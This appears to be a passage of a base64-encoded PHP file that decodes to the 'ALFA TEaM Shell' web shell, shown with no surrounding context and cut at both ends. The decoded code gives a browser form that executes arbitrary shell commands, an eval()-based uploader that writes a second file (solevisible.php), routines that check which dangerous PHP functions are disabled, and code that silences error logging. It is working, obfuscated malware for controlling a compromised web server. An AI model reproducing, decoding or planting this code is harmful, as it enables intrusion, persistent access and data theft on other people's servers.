9ybSBvblN1Ym1pdD0idGhpcy5leGVjdXRlLmRpc2FibGVkPXRydWU7dGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlKSkpOyIgbWV0aG9kPSJQT1NUIj5FeGVjdXRlIENvbW1hbmQ6IDxpbnB1dCBuYW1lPSJjb21tYW5kX3NvbGV2aXNpYmxlIiB2YWx1ZT0iIiBzaXplPSI1OSIgdHlwZT0idGV4dCIgYWxpZ249ImxlZnQiID48aW5wdXQgbmFtZT0iZXhlY3V0ZSIgdmFsdWU9IkV4ZWN1dGUiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT4KPGhyPjxwcmU+JzsKaWYoaXNzZXQoJF9QT1NUWydjb21tYW5kX3NvbGV2aXNpYmxlJ10pKXsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOwokc29sZXZpc2libGUgPSAiY2QgJyIuYWRkc2xhc2hlcyhzdHJfcmVwbGFjZSgiXFwiLCIvIixAYWxmYUdldEN3ZCgpKSkuIiciLiRzZXBhcmF0b3IuIiIuX19aR1ZqYjJSbGNnKCRfUE9TVFsnY29tbWFuZF9zb2xldmlzaWJsZSddKTsKZWNobyBhbGZhRXgoJHNvbGV2aXNpYmxlKTsKfQplY2hvJzwvcHJlPgo8L2JvZHk+PC9odG1sPic7CmV4aXQ7fQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBhbGZhR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewoJJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9IHRydWU7Cn0KfQokR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmIEBpc19kaXIoJF9QT1NUWydjJ10pID8kX1BPU1RbJ2MnXTpAYWxmYUdldEN3ZCgpKTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmICFlbXB0eSgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6IEBhbGZhR2V0Q3dkKCkpOwp9CmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7CiRHTE9CQUxTWydob21lX2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKfQppZigkR0xPQkFMU1snY3dkJ11bc3RybGVuKCRHTE9CQUxTWydjd2QnXSktMV0gIT0gJy8nICkkR0xPQkFMU1snY3dkJ10gLj0gJy8nOwppZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfYWxmYV9maWxlX2V4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpewoJZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKXsKCQlyZXR1cm4gc3RybGVuKCRzdHIpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsKCQlyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFydCwgJGVuZCk7Cgl9Cn0KZGVmaW5lKCJBTEZBX1RFTVBESVIiLCAoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikgPyAoQGlzX3dyaXRhYmxlKHN0cl9yZXBsYWNlKCdcXCcsJy8nLHN5c19nZXRfdGVtcF9kaXIoKSkpP3N5c19nZXRfdGVtcF9kaXIoKTooQGlzX3dyaXRhYmxlKCcuJyk/Jy4nOmZhbHNlKSkgOiBmYWxzZSkpOwpmdW5jdGlvbiBhbGZhaGVhZCgpewokR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXSA9ICdQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBseHVQR0p5UGx4dVBHSnlQbHh1UEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVQR05sYm5SbGNqNDhabTl5YlNCdFpYUm9iMlE5SjNCdmMzUW5JR1Z1WTNSNWNHVTlKMjExYkhScGNHRnlkQzltYjNKdExXUmhkR0VuSUc1aGJXVTlKM1Z3Ykc5aFpHVnlKejRpTzJWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNDhMMk5sYm5SbGNqNG5PMmxtS0dsemMyVjBLQ1JmVUU5VFZGc25YM1Z3YkNkZEtTWW1KRjlRVDFOVVd5ZGZkWEJzSjEwOVBTQWlWWEJzYjJGa0lpbDdhV1lvUUcxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2UyVmphRzhnSnp4aVBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQlRkV05qWlhOelpuVnNiSGtnT3lrOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMWxiSE5sZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCbVlXbHNaV1FnT2lnOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMTlaV05vYnlBblBHTmxiblJsY2o0OGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPak13Y0hnN0lHSmhZMnRuY205MWJtUTZJSFZ5YkNnbWNYVnZkRHRvZEhSd09pOHZjMjlzWlhacGMybGliR1V1WTI5dEwybHRZV2RsY3k5aVoxOWxabVpsWTNSZmRYQXVaMmxtSm5GMWIzUTdLU0J5WlhCbFlYUXRlQ0J6WTNKdmJHd2dNQ1VnTUNVZ2RISmhibk53WVhKbGJuUTdJR052Ykc5eU9pQnlaV1E3SUhSbGVIUXRjMmhoWkc5M09pQTRjSGdnT0hCNElERXpjSGc3SWo0OGMzUnliMjVuUGp4aVBqeGlhV2MrYzI5c1pYWnBjMmxpYkdWQVoyMWhhV3d1WTI5dFBDOWlQand2WW1sblBqd3ZjM1J5YjI1blBqd3ZjM0JoYmo0OEwyTmxiblJsY2o0bk96OCsnOwokYWxmYV91cGxvYWRlciA9ICckeCA9IGJhc2U2NF9kZWNvZGUoIicuJEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ10uJyIpOyRzb2xldmlzaWJsZSA9IGZvcGVuKCJzb2xldmlzaWJsZS5waHAiLCJ3Iik7ZndyaXRlKCRzb2xldmlzaWJsZSwkeCk7JzsKZGVmaW5lKCJBTEZBX1VQTE9BREVSIiwgImV2YWwoYmFzZTY0X2RlY29kZSgnIi5fX1pXNWpiMlJsY2coJGFsZmFfdXBsb2FkZXIpLiInKSkiKTsKaWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7CmZ1bmN0aW9uIEFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpewokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRhZmEgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+QWxsIEZ1bmN0aW9ucyBBY2Nlc3NpYmxlPC9zcGFuPic7CmlmKGVtcHR5KCRkaXNmdW4pKXJldHVybigkYWZhKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJHMgPSBhcnJheV91bmlxdWUoJHMpOwokaT0wOwokYj0wOwokZnVuYyA9IGFycmF5KCdzeXN0ZW0nLCdleGVjJywnc2hlbGxfZXhlYycsJ3Byb2Nfb3BlbicsJ3BvcGVuJywncGFzc3RocnUnLCdzeW1saW5rJywnZGwnKTsKJGJsYWNrX2xpc3QgPSBhcnJheSgpOwokYWxsb3dfbGlzdCA9IGFycmF5KCk7CmZvcmVhY2goJHMgYXMgJGQpewoJJGQ9dHJpbSgkZCk7CglpZihlbXB0eSgkZCl8fCFpc19jYWxsYWJsZSgkZCkpY29udGludWU7CglpZighZnVuY3Rpb25fZXhpc3RzKCRkKSl7CgkJaWYoaW5fYXJyYXkoJGQsJGZ1bmMpKXsKCQkJJGRpcyAuPSAkZC4iIHwgIjskYisrOwoJCQkkYmxhY2tfbGlzdFtdID0gJGQ7CgkJfWVsc2V7CgkJCSRhbGxvd19saXN0W10gPSAkZDsKCQl9CgkJJGkrKzsKCX0KfQppZigkaT09MClyZXR1cm4oJGFmYSk7CmlmKCRpIDw9IGNvdW50KCRmdW5jKSl7CiRhbGwgPSBhcnJheV92YWx1ZXMoYXJyYXlfbWVyZ2UoJGJsYWNrX2xpc3QsICRhbGxvd19saXN0KSk7CnJldHVybignPHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj4nLmltcGxvZGUoIiB8ICIsICRhbGwpLic8L3NwYW4+Jyk7Cn0KcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuJGRpcy4nPC9zcGFuPjxhIGlkPSJtZW51X29wdF9HZXREaXNGdW5jIiBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0ID0gdHJ1ZTtnKFwnR2V0RGlzRnVuY1wnLG51bGwsXCd3cFwnKTsiPjxzcGFuIGNsYXNzPSJoZWFkZXJfc2hvd19hbGwiPlNob3cgQWxsICgnLiRpLicpPC9zcGFuPjwvYT4nKTsKfQpmdW5jdGlvbiBBbGZhTnVtKCl7CiRhcmdzID0gZnVuY19nZXRfYXJncygpOwokYWxmYXggPSBhcnJheSgpOwokZmluZCA9IGFycmF5KCk7CmZvcigkaT0xOyRpPD0xMDskaSsrKXsKJGFsZmF4W10gPSAkaTsKfQpmb3JlYWNoKCRhcmdzIGFzICRhcmcpewokZmluZFtdID0gJGFyZzsKfQplY2hvICc8c2NyaXB0Pic7CmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsKaWYoaW5fYXJyYXkoJGFsZmEsJGZpbmQpKQpjb250aW51ZTsKZWNobyAnYWxmYScuJGFsZmEuIl89IjsKfQplY2hvICciIjwvc2NyaXB0Pic7Cn0KaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQokX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsKJGZyZWVTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza2ZyZWVzcGFjZScpP0BkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOwokdG90YWxTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza190b3RhbF9zcGFjZScpP0BkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOwokdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7CiRvbj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+IE9OIDwvc3Bhbj4iOwokb2Y9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz4gT0ZGIDwvc3Bhbj4iOwokbm9uZT0iPHNwYW4gY2xhc3M9J2hlYWRlcl9ub25lJz4gTk9ORSA8L3NwYW4+IjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzc2gyX2Nvbm5lY3QnKSkKJHNzaDI9JG9uOwplbHNlCiRzc2gyPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkKJGN1cmw9JG9uOwplbHNlCiRjdXJsPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKXx8Y2xhc3NfZXhpc3RzKCdteXNxbGknKSkKJG15c3FsPSRvbjsKZWxzZQokbXlzcWw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKJG1zc3FsPSRvbjsKZWxzZQokbXNzcWw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkKJHBnPSRvbjsKZWxzZQokcGc9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiRvcj0kb247CmVsc2UKJG9yPSRvZjsKaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpCiRkaXNmdW49QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmVsc2UKJGRpc2Z1bj0iQWxsIEZ1bmN0aW9ucyBFbmFibGUiOwppZihAaW5pX2dldCgnc2FmZV9tb2RlJykpCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZic+T048L3NwYW4+IjsKZWxzZQokc2FmZV9tb2Rlcz0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+T0ZGPC9zcGFuPiI7CiRjZ2lfc2hlbGw9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJyBpZD0naGVhZGVyX2NnaXNoZWxsJz5PRkY8L3NwYW4+IjsKaWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKXsKJGJhc2VkaXJfZGF0YSA9IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsKaWYoc3RybGVuKCRiYXNlZGlyX2RhdGEpPjEyMCl7CiRvcGVuX2I9c3Vic3RyKCRiYXNlZGlyX2RhdGEsMCwgMTIwKS4iLi4uIjsKfWVsc2V7CiRvcGVuX2IgPSAkYmFzZWRpcl9kYXRhOwp9Cn1lbHNleyRvcGVuX2I9JG5vbmU7fQppZihAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7CmVsc2UKJHNhZmVfZXhlPSRub25lOwppZihAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpCiRzYWZlX2luY2x1ZGU9QGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpOwplbHNlCiRzYWZlX2luY2x1ZGU9JG5vbmU7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewokdXNlciA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0X2N1cnJlbnRfdXNlciIpP0BnZXRfY3VycmVudF91c2VyKCk6Ij8/Pz8iOwokdWlkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteXVpZCIpP0BnZXRteXVpZCgpOiI/Pz8/IjsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXlnaWQiKT9AZ2V0bXlnaWQoKToiPz8/PyI7CiRncm91cCA9ICI/IjsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZXVpZCIpP0Bwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOmFycmF5KCJuYW1lIj0+Ij8/Pz8iLCAidWlkIj0+Ij8/Pz8iKTsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIik/QHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJnaWQiPT4iPz8/PyIpOwokdXNlciA9ICR1aWRbJ25hbWUnXTsKJHVpZCA9ICR1aWRbJ3VpZCddOwokZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiRnaWQgPSAkZ2lkWydnaWQnXTsKfQokY3dkX2xpbmtzID0gJyc7CiRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiRuPWNvdW50KCRwYXRoKTsKZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKJGN3ZF9saW5rcyAuPSAiPGEgY2xhc3M9J2hlYWRlcl9wd2QnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKJGNhY2hfY3dkX3BhdGggPSAiIjsKZm9yKCRqPTA7ICRqPD0kaTsgJGorKyl7CiRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKJGNhY2hfY3dkX3BhdGggLj0gJHBhdGhbJGpdLicvJzsKfQokY3dkX2xpbmtzIC49ICJcIiknIHBhdGg9JyIuJGNhY2hfY3dkX3BhdGguIicgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Ii4kY2FjaF9jd2RfcGF0aC4iJz4iLiRwYXRoWyRpXS4iLzwvYT4iOwp9CiRkcml2ZXMgPSAiIjsKZm9yZWFjaChyYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUpCmlmKEBpc19kaXIoJGRyaXZlLic6XFwnKSkKJGRyaXZlcyAuPSAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9ImhlYWRlcl9kcml2ZSIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOwokY3NzY29kZSA9JwktbW96LWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tb3otYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1vei1hbmltYXRpb24tZHVyYXRpb246IDFzOy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHNwaW47LXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LW1zLWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tcy1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbXMtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy1tcy1hbmltYXRpb24tZHVyYXRpb246IDFzO2FuaW1hdGlvbi1uYW1lOiBzcGluO2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjthbmltYXRpb24tZHVyYXRpb246IDFzOyc7CmVjaG8gJzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+CjxtZXRhIG5hbWU9IlJPQk9UUyIgY29udGVudD0iTk9JTkRFWCwgTk9GT0xMT1ciIC8+CjxsaW5rIGhyZWY9IicuX19zaG93aWNvbignYWxmYW1pbmknKS4nIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPgo8dGl0bGU+Li46OiAnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nIH4gQUxGQSBURWFNIFNoZWxsIC0gdicuX19BTEZBX1ZFUlNJT05fXy4nLScuX19BTEZBX0NPREVfTkFNRV9fLicgOjouLjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Jzs/PgouaGxhYmFsZXtjb2xvcjojNjdhYmRmO2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgIzI3OTc5YjttYXJnaW4tbGVmdDo3cHg7cGFkZGluZzoycHh9I3RibF9zeW1wcGhwIHRye3RleHQtYWxpZ246Y2VudGVyfSNQaHBDb2RlLC5waHAtZXZhbHMtYWNlLC52aWV3X21sX2NvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7YmFja2dyb3VuZDojMWIyOTJiMjY7dG9wOjUwcHh9LmVkaXRvci12aWV3e3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDoxMDAlfS52aWV3LWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7b3ZlcmZsb3cteTphdXRvO3dpZHRoOjEwMCU7aGVpZ2h0OjkzJX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrey13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAxMTV9Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6MTBweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiMxZTgyYjV9LmVkaXRvci1maWxlLW5hbWV7bWFyZ2luLWxlZnQ6MjlweDttYXJnaW4tdG9wOjRweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9LmVkaXRvci1pY29ue3Bvc2l0aW9uOmFic29sdXRlfS5pc19hY3RpdmV7YmFja2dyb3VuZDpyZ2JhKDQ5LDU1LDkzLC43Nyk7Ym9yZGVyLXJhZGl1czoxMHB4fS5oaXN0b3J5LWxpc3R7aGVpZ2h0Ojg4JTtvdmVyZmxvdy15OmF1dG99Lm9wdC10aXRsZXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtjb2xvcjojMmZkMDUxO2ZvbnQtc2l6ZToyNXB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZX0ub3B0aW9uc19taW5fYmFkZ2V7dmlzaWJpbGl0eTpoaWRkZW47dGV4dC1hbGlnbjpjZW50ZXI7cmlnaHQ6MzBweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6IzJhOGEyNDtwYWRkaW5nOjZweDtib3JkZXItcmFkaXVzOjUwJTt3aWR0aDoxNXB4O2hlaWdodDoxNXB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3RvcDotN3B4fSNjZ2lsb2FkZXItbWluaW1pemVkLCNkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkLCNlZGl0b3ItbWluaW1pemVkLCNvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWR7ZGlzcGxheTpibG9jaztwb3NpdGlvbjpmaXhlZDtyaWdodDotMzBweDt3aWR0aDozMHB4O2hlaWdodDozMHB4O3RvcDozMCU7ei1pbmRleDo5OTk5fS5taW5pbWl6ZWQtd3JhcHBlcntwb3NpdGlvbjpyZWxhdGl2ZTtiYWNrZ3JvdW5kOiMwZTMwNGE7d2lkdGg6NDRweDtoZWlnaHQ6MTMwcHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czo1cHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo1cHh9Lm1pbmltaXplZC10ZXh0e3RyYW5zZm9ybTpyb3RhdGUoLTkwZGVnKTtjb2xvcjp3aGVhdDtmb250LXNpemU6eC1sYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDotNTFweDt3aWR0aDoxMjlweDt0b3A6LTEwcHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo0JTtoZWlnaHQ6NTZweDtwYWRkaW5nOjNweH0uY2xvc2UtYnV0dG9uLC5lZGl0b3ItbWluaW1pemV7aGVpZ2h0OjI2cHg7d2lkdGg6MzhweDtya